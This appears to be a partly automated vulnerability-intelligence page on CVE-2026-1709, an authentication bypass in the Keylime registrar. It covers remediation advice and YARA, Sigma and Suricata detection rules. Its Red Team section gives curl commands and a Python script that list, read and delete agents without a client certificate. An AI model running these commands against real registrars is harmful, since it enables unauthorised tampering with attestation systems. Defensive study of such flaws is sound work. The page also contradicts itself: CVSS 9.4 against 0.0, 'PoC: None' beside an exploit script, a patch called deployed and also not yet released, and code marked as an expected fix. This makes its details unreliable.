☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Keylime logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 9.4 🐛 CWE-295
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-1709

CVE-2026-1709 Authentication Bypass in Keylime
📅 PUBLISHED: 2026-02-06 19:13 UTC 🔄 UPDATED: 2026-10-18 00:56 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 distinct-origin sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 5.79%
👁️
5.79% probability
144.8× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Country: USA License: Commercial
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-1709 is a critical authentication bypass vulnerability in the Keylime registrar component, affecting versions 7.12.0 and later. The flaw allows unauthenticated attackers with network access to perform administrative operations without presenting a client certificate, bypassing Transport Layer Security (TLS) mutual authentication. This can lead to unauthorized listing of agents, retrieval of public TPM data, and deletion of agents, compromising the integrity of the trusted computing base.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Keylime is a Python-based project available via PyPI. The vulnerability affects the registrar component, which is part of the Keylime package. Users should verify their installed version and apply patches as soon as they become available. The package is distributed via PyPI, and supply chain attacks could exploit this vulnerability if malicious actors gain access to the package repository.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (NVD base score not provided; estimated based on vector)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: Low (public TPM data exposure)
  • Integrity Impact: Low (agent deletion)
  • Availability Impact: Low (agent deletion)
  • Threat Level: High (due to ease of exploitation and potential for lateral movement)

Deep Dive & Mechanics

The vulnerability resides in the Keylime registrar, which is responsible for managing agent registration and verification. Since version 7.12.0, the registrar fails to enforce client-side TLS authentication, meaning it does not require a valid client certificate for incoming connections. This allows any unauthenticated client to connect and perform administrative actions.

The flaw is rooted in the TLS configuration of the registrar's web server. The server is set to request but not require a client certificate, or the verification logic is missing. Attackers can exploit this by sending crafted HTTP requests to the registrar's API endpoints, such as:

  • /agents/ - List all agents
  • /agents/{agent_id}/ - Retrieve public TPM data
  • /agents/{agent_id}/delete - Delete an agent

The vulnerability is particularly dangerous because it does not require any prior authentication or knowledge of the system, making it easily exploitable by anyone with network access.

Vulnerable vs. Patched Code

Vulnerable Code (Keylime registrar, version 7.12.0):

# In the registrar's TLS configuration, client certificate verification is not enforced
ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
ssl_context.load_cert_chain(certfile, keyfile)
# Missing: ssl_context.verify_mode = ssl.CERT_REQUIRED
# Missing: ssl_context.load_verify_locations(cafile)

Patched Code (Expected fix):

ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
ssl_context.load_cert_chain(certfile, keyfile)
ssl_context.verify_mode = ssl.CERT_REQUIRED
ssl_context.load_verify_locations(cafile)

The patched code enforces mutual TLS by requiring a client certificate and verifying it against a trusted CA.

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy a vulnerable Keylime registrar (version 7.12.0) on a test network.
  2. Ensure the registrar is accessible from the attacker's machine.

Exploitation Steps:

  1. Use curl or a custom Python script to connect without a client certificate:
    curl -k https://registrar.example.com/agents/
    
  2. List all agents:
    curl -k https://registrar.example.com/agents/
    
  3. Retrieve public TPM data for a specific agent:
    curl -k https://registrar.example.com/agents/agent123/
    
  4. Delete an agent:
    curl -k -X DELETE https://registrar.example.com/agents/agent123/delete
    

Python Exploit Script:

import requests

registrar_url = "https://registrar.example.com"
agent_id = "agent123"

# List agents
response = requests.get(f"{registrar_url}/agents/", verify=False)
print("Agents:", response.text)

# Get agent data
response = requests.get(f"{registrar_url}/agents/{agent_id}/", verify=False)
print("Agent data:", response.text)

# Delete agent
response = requests.delete(f"{registrar_url}/agents/{agent_id}/delete", verify=False)
print("Delete response:", response.text)

Blue Team

Detection:

  • Monitor for connections to the registrar that do not present a client certificate.
  • Look for unusual API calls to /agents/ endpoints from unexpected IP addresses.
  • Use network logs to identify failed TLS handshakes or missing client certificates.

Mitigation:

  • Immediately update Keylime to a patched version once available.
  • Implement network segmentation to restrict access to the registrar.
  • Use a Web Application Firewall (WAF) to block unauthorized requests.
  • Enable mutual TLS enforcement manually if possible.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Connections to the registrar on port 443 (or custom port) without a client certificate.
    • HTTP requests to /agents/, /agents/{id}/, or /agents/{id}/delete endpoints.
    • Unusual deletion of agent records in the registrar database.
  • File IOCs:

    • Modified registrar configuration files (e.g., registrar.conf) with disabled TLS verification.
    • Log entries showing "Client certificate not provided" or similar warnings.
  • Behavioral IOCs:

    • Multiple failed TLS handshakes from the same IP.
    • Sudden increase in agent deletion events.

Detection Engineering

YARA Rule

rule CVE_2026_1709_Keylime_Registrar_Bypass {
    meta:
        description = "Detects vulnerable Keylime registrar configuration missing client TLS verification"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-1709"
    strings:
        $ssl_context = "ssl.create_default_context" nocase
        $verify_mode = "ssl.CERT_REQUIRED" nocase
        $load_verify = "load_verify_locations" nocase
    condition:
        $ssl_context and not ($verify_mode or $load_verify)
}

Sigma Rule

title: Keylime Registrar Authentication Bypass
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthenticated access to Keylime registrar API endpoints
author: Valters IT
date: 2026/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-1709
logsource:
    category: webserver
    product: keylime
detection:
    selection:
        cs-method: 
            - 'GET'
            - 'DELETE'
        cs-uri-stem:
            - '/agents/'
            - '/agents/*'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate administrative actions from authorized clients
level: high

Suricata Rule

alert tcp any any -> any 443 (msg:"CVE-2026-1709 Keylime Registrar Authentication Bypass"; flow:to_server,established; content:"/agents/"; http_uri; nocase; content:"DELETE"; http_method; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Actions:

    • Disable the Keylime registrar service if not in use.
    • Restrict network access to the registrar using firewall rules.
    • Implement a reverse proxy with mutual TLS enforcement.
  2. Long-term Fix:

    • Update Keylime to a patched version once released.
    • Manually patch the registrar code to enforce client certificate verification as shown in the patched code section.
  3. Monitoring:

    • Enable detailed logging for the registrar.
    • Set up alerts for unauthorized access attempts.
  4. Best Practices:

    • Always use mutual TLS for administrative interfaces.
    • Regularly audit TLS configurations.
    • Follow the principle of least privilege for network access.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-1709/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.